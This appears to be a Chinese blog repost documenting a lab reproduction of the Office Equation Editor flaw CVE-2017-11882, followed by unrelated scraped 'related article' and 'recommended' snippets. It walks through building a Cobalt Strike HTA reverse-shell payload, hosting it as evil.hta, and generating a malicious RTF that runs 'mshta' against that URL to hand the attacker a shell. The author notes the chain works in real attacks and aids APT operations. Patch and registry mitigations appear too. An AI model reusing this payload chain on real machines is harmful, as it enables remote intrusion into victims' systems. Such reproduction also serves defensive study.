CVE-2017-11882漏洞复现

2023-11-08

本文记录一下针对CVE-2017-11882的漏洞复现

0x00 前言

参考backlion师傅的PDF,记录一下这个过程。

2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。 由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。

  • 漏洞影响版本:
  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

0x01 环境清单

  • WindowsServer 2008 (192.168.3.114)
  • Office 2007
  • MAC OSX(192.168.3.106)

0X02 复现过程

使用Cobalt Strike生成hta反弹shell

生成

将生成的hta文档放入WebServer根目录:http://192.168.3.106/evil.hta

我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell

要生成一个rtf/doc文档,github上已有生成脚本

webdav_exec_CVE-2017-11882.py -> http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py

生成rtf文档:

python webdav_exec_CVE-2017-11882.py -u http://192.168.3.106/evil.hta -e "mshta http://192.168.3.106/evil.hta" -o test.rtf
!!! Completed !!!

最后将test.rtf在目标机器上执行 =_=||,其实可以实战的,对于APT的帮助很大

结果

目标机器上执行后,我们可以在Cobalt Strike看到来自客户端的会话

shell

0x03 修复建议

1、微软已经对此漏洞做出了修复。

  • 下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补
  • 开启Windows Update功能,定期对系统进行自动更新

2、由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。

  • 按下Win R组合键,打开cmd.exe
  • 输入以下两条命令: reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400

转载于:https://www.cnblogs.com/pshell/p/7875416.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2017-11882漏洞复现 的相关文章

  • 使用 Flask 从 Jinja 模板中的 settings.py 文件获取变量

    假设我有 settings py 文件 其中包含一堆常量 将来可能会更多 如何访问 Jinja 模板中的这些变量 Flask 会自动将您的应用程序的配置包含在标准上下文 http flask pocoo org docs templatin
  • swig char ** 作为指向 char * 的指针

    我在使用 swig 和 char 作为指向变量 char 的指针时遇到问题 而不是作为 char 的列表 我找不到将指针包装到 char 的方法 目的是将连接的结果写入指针引用的 char 中 以下是我的代码 文件指针 cpp includ
  • numpy.linalg.inv() 是否给出了正确的矩阵逆?编辑:为什么 inv() 给出数值错误?

    我有一个矩阵形状 4000 4000 我想取逆矩阵 我对逆矩阵的直觉因如此大的矩阵而崩溃 起始矩阵的值大小为e 10 具有以下值 print matrix给出一个输出 2 19885119e 10 2 16462810e 10 2 1306
  • pandas:使用运算符链接过滤 DataFrame 的行

    大多数业务在pandas可以通过操作符链接来完成 groupby aggregate apply等 但我发现过滤行的唯一方法是通过普通的括号索引 df filtered df df column value 这没有吸引力 因为它需要我分配d
  • django/whitenoise 存储后端导致错误

    我在调试关闭时在 heroku 上运行 django 应用程序时遇到了 500 错误 使用 rollbar 了解发生错误的原因后 它报告了以下内容 ValueError The file media img 1 jpg could not
  • 如何在python包中包含.pyx文件

    我在我的包中使用了 cythonpyirt https github com 17zuoye pyirt 但是当我将其发布到 pypi 时 pyx 文件不包含在 tar gz 中 我认为这一定与安装文件有关 但是 我找不到解决这个问题的方法
  • PySerial 和多个 Python 安装出现问题

    我的 Windows 7 计算机上有 Python 2 4 4 和 3 1 3 我想使用 PySerial 听说是内置的 所以我尝试了一下import serial在两个版本中 两者都造成了Import Error 然后我从以下位置下载了w
  • 检查对象是否是字符串列表的列表?

    是什么elegant检查对象是否是字符串列表列表的方法 没有嵌套循环 也许这里必须是构造结构化迭代的常规方法 UPD 像这样的东西 l a b c d 1 3 e 2 f def recurse iterable levels result
  • 如何让MagicMock返回多个值

    我想模拟一个图书馆 matplotlib对于它的价值 并且遇到一个问题 当调用模拟并期望返回元组时 它会失败 有一个更好的方法吗 Python 3 7 2 default Jan 13 2019 12 50 15 Clang 10 0 0
  • 有没有办法改变vim的默认模式

    有谁知道如何更改vim的默认模式 它的默认模式是命令模式 但是我可以将其更改为插入模式吗 只需将以下行添加到您的 vimrc 中 start Vim s default mode will be changed to Insert mode
  • 中断QThread睡眠

    我想知道如何暂停 QThread 然后在收到信号时恢复 我已阅读并知道我可以做这样的事情 def run self self ready False while not self ready self sleep 1 QtCore Slot
  • Django 自定义查询集过滤器

    在 Django 中 是否有一种标准方法可以为查询集编写复杂的自定义过滤器 就像我能写的一样 MyClass objects all filter field val 我想做这样的事情 MyClass objects all filter
  • Django:上传前调整图像大小

    我想调整图像大小 Pillow 在上传之前 我在下面编写了代码但不起作用 并得到错误 myapp list 处的属性错误 坚定的 请求方式 POST 请求网址 http 127 0 0 1 8000 myapp list http 127
  • os.path.expanduser("~") 的替代方案?

    在Python 2 7 x中 os path expanduser Unicode 已损坏 这意味着如果 的扩展中包含非 ASCII 字符 则会出现异常 http bugs python org issue13207 http bugs p
  • SQL查询中的Python列表作为参数[重复]

    这个问题在这里已经有答案了 我有一个 Python 列表 比如说 l 1 5 8 我想编写一个 SQL 查询来获取列表中所有元素的数据 例如 select name from students where id IN THE LIST l
  • 使用 pyinstaller 制作的可执行文件出现运行时错误

    所以我使用 Pygame 制作了一个游戏 现在我想用它制作一个可执行文件 首选独立可执行文件 所以我用它来制作可执行文件 pyinstaller onefile main py 编译顺利 但运行时出现错误 这是错误 Traceback mo
  • 如何下载和使用对象检测数据集(例如 coco 或 pascal)

    我对物体检测领域非常陌生 我想知道是否有人可以帮助我下载和使用对象检测数据集 例如 coco 或 pascal 当我下载数据集后访问他们的网站时 我觉得我不知道应该如何处理它们 我知道这个问题很愚蠢 但是开始的提示可能非常有用 谢谢 我正在
  • Python:如何访问 Lotus Notes 8.5 Inbox 来阅读电子邮件

    我想用 python 创建一个脚本 从 Lotus Notes 8 5 读取电子邮件 然后在 jira 中为每封电子邮件创建一个问题 但当我尝试从 Lotus 读取邮件时 它会返回此错误 Traceback most recent call
  • FileAllowed 不显示错误消息

    我正在使用 WTForms 我正在对文件上传应用验证 并将其限制为仅 jpg png 和 pdf 格式 但是 如果我输入不正确 则不会出现错误消息 我按照这个教程https flask wtf readthedocs io en stabl
  • 媒体文件上的 404 - Django

    昨晚我将项目上传到 pythonanywhere com 我想在那里测试我的项目生产设置 在我允许的模型之一中用户上传JPG 团队徽标 上传过程运行良好 文件位于我的 MEDIA ROOT 中 问题是 当我尝试在模板中访问它 以将其显示在页

随机推荐

  • 无桥PFC的家族推演

    1 组合法构建无桥PFC PFC是一种AC DC变换器 将交流输入电压分成正负半周 输出电压是直流 因此AC DC变换器可以当做是两个DC DC变换器的组合 在PFC的拓扑推演中 就是设计两个DC DC变换器的工作模式 以下内容是基于对陈正
  • 遗传编程(GA,genetic programming)算法初探,以及用遗传编程自动生成符合题解的正则表达式的实践...

    1 遗传编程简介 0x1 什么是遗传编程算法 和传统机器学习算法有什么区别 传统上 我们接触的机器学习算法 都是被设计为解决某一个某一类问题的确定性算法 对于这些机器学习算法来说 唯一的灵活性体现在参数搜索空间上 向算法输入样本 算法借助不
  • i2c-core module could not be probed怎么解决啊

    求大佬帮忙看看 root PandoraBox A983 lib modules 3 14 79 uname a Linux PandoraBox A983 3 14 79 0 SMP Sat Sep 7 12 52 27 2019 arm
  • postman GET请求传Java实体,实体中又有对象实体数组

    controller代码接收参数如下 GetMapping getList ApiOperation 获取列表 public Object getList SearchListParam searchListParam return nul
  • 使用 Docker 运行简单的 python 程序

    以下是一个简单的 python 程序 用户输入一个最小值和最大值 输出二者之间的随机数 from random import randint min number int input Please enter the min number
  • 利用chatgpt实现三分钟快速制作自定义PPT

    目录 利用ChatGPT MindShow三分钟生成PPT 机器人 道合顺 莓用ai 百晓生 aichat 结合提词器以达到更好地提问效果 更好地提问ChatGPT 常用prompt表 小黄同学LL的博客 CSDN博客 举个栗子 利用Cha
  • 现代循环神经网络-门控循环单元(GRU)

    理论 门控隐状态 门控循环单元与普通的循环神经网络之间的关键区别在于 前者支持隐状态的门控 这意味着模型有专门的机制来确定应该何时更新隐状态 以及应该何时重置隐状态 这些机制是可学习的 并且能够解决了上面列出的问题 例如 如果第一个词元非常
  • stream().sorted 排序

    想用stream sorted 做双字段排序 list stream sorted Comparator comparing outObject gt outObject getinnerObject getAttribute revers
  • 责任链模式在项目中的引入使用

    责任链模式是一种设计模式 在责任链模式里 很多对象由每一个对象对其下家的引用而连接起来形成一条链 请求在这个链上传递 直到链上的某一个对象决定处理此请求 发出这个请求的客户端并不知道链上的哪一个对象最终处理这个请求 这使得系统可以在不影响客
  • mybatisPlus 枚举类注解 @EnumValue @JsonValue

    1 概要说明 创建枚举类 在需要存储数据库的属性上添加 EnumValue注解 在需要前端展示的属性上添加 JsonValue注解 2 示例实践 public enum SexEnum MAN 1 男 WOMAN 2 女 EnumValue
  • 使用FormData对象

    使用FormData对象 TABLE OF CONTENTS 创建一个FormData对象 使用HTML表单来初始化一个FormData对象 使用FormData对象发送文件 TAGS 文件 利用FormData对象 你可以使用一系列的键值
  • swagger介绍及使用

    文章目录 Swagger 概述 1 maven导入Swagger包 2 配置开启swagger2 3 测试swagger 4 配置swagger信息 5 配置swagger扫描接口 6 swagger分组与接口注释 Swagger 概述 S
  • rockemq创建topic

    sh mqadmin updateTopic n sms pro 007 9876 sms pro 008 9876 c DefaultCluster t smsFrontSmsMq 10 w 4 r 4
  • Java 每日面试题6( BufferReader, 对象序列化)

    BufferReader属于哪种流 主要是用来做什么 里面有哪些方法 BufferReader属于处理流中的缓冲流 可以将读取的内容存在内存里面 比Reader类多了一个readLine 方法 这篇博文提供了BufferReader类的详细
  • 传输层 —— TCP协议

    一 TCP 二 TCP报文段首部格式 1 序号 在一个TCP连接中传送的字节流中的每一个字节都按顺序编号 本字段表示本报文段所发送数据的第一个字节的序号 2 确认号 期望收到对方下一个报文段的第一
  • 【HTML】HTML5给网页音频带来的变化

    HTML HTML5给网页音频带来的变化 引言 内容速递 看了本文您能了解到的知识 音乐播放 相信大家都很熟悉 但是早在之前的音乐播放之前 你的浏览器会问你 是否下载flash插件 然而现在 估计一些年轻的开发者都不用了解flash是啥了
  • Jmeter压测接口全流程详解

    Jmeter压测接口全流程详解 描述 内容包含Jmeter压测软件的安装 环境变量配置 具体实例参数的配置 动态参数构建 元件引入 函数引入 监控插件引入 在京东云上的引用等 第一部分 Jmeter应用下载 一 Jmeter下载 进入官网
  • 一起学nRF51xx 8 -  Time

    前言 Nrf518xx的TIMER有以下几部分组成 nrf51822有三个定时器 time0 1 2 1 计数时钟源 有1M 16M 2种时钟源 2 时钟源分频器 用来设置分频 范围是2的0 9次方 3 定时 计数模式选择 用来配置TIME
  • 百度翻译爬虫-使用execjs库逆向解析百度翻译

    本文目标破解百度翻译接口 抓取翻译结果数据 python3安装execjs方法 pip install pyexecjs 检查页面 使用Chrome浏览器打开百度翻译 观察界面 右键查看源代码 发现密密麻麻全是看不懂JS代码 初步判定为是异
  • CVE-2017-11882漏洞复现

    本文记录一下针对CVE 2017 11882的漏洞复现 0x00 前言 参考backlion师傅的PDF 记录一下这个过程 2017年11月14日 微软发布了11月份的安全补丁更新 其中比较引人关注的莫过于悄然修复了潜伏17年之久的Offi